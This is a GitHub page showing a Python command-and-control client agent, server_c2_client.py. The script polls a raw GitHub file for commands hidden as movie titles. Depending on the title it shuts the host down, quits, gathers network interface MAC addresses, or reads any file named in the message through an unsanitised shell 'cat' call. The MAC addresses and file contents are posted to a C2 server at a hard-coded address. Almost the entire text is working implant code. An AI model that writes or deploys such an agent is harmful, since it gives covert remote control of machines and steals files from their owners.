-
Notifications
You must be signed in to change notification settings - Fork 0
/
server_c2_client.py
93 lines (50 loc) · 1.45 KB
/
server_c2_client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import time, socket, requests
import subprocess, os
def system_call(cmd):
return subprocess.check_output(cmd, shell=True)
def get_c2_cmd(URL):
response = requests.get(URL)
return response.text[:-1]
def split_cmd(cmd):
cmd = cmd.split('\n')[-1]
return cmd
def send_c2_data(C2, PORT, data):
URL = "http://"+C2+":"+PORT+"/"
testobj = {'data': data}
response = requests.post(URL, json = testobj)
return
def get_mac_addr():
addrs = list()
directory = "/sys/class/net/"
for filename in os.listdir(directory):
f = os.path.join(directory, filename)
if os.path.exists(f):
addr = system_call("cat /sys/class/net/"+filename+"/address")
addrs.append(addr)
return addrs
if __name__ =='__main__':
C2 = "172.18.3.58"
PORT = "8080"
URL = "https://raw.githubusercontent.com/micahflack/scripts/main/msg_of_the_day"
time.sleep(15)
while True:
# get cmd from updated c2
cmd = get_c2_cmd(URL)
# depending on returned msg, perform actions...
if cmd:
# shutdown
if "Transformers: Dark Side of The Moon" in cmd:
os.system("shutdown -P")
# close client agent
elif "The Wizard of Oz" in cmd:
exit()
# get mac addrs for all interfaces
elif "Naruto Shippuden" in cmd:
mac = get_mac_addr()
send_c2_data(C2, PORT, mac)
# grab specified file, send to C2
elif "Christmas Past" in cmd:
cmd = split_cmd(cmd)
result = system_call("cat " + cmd)
send_c2_data(C2, PORT, result)
time.sleep(60)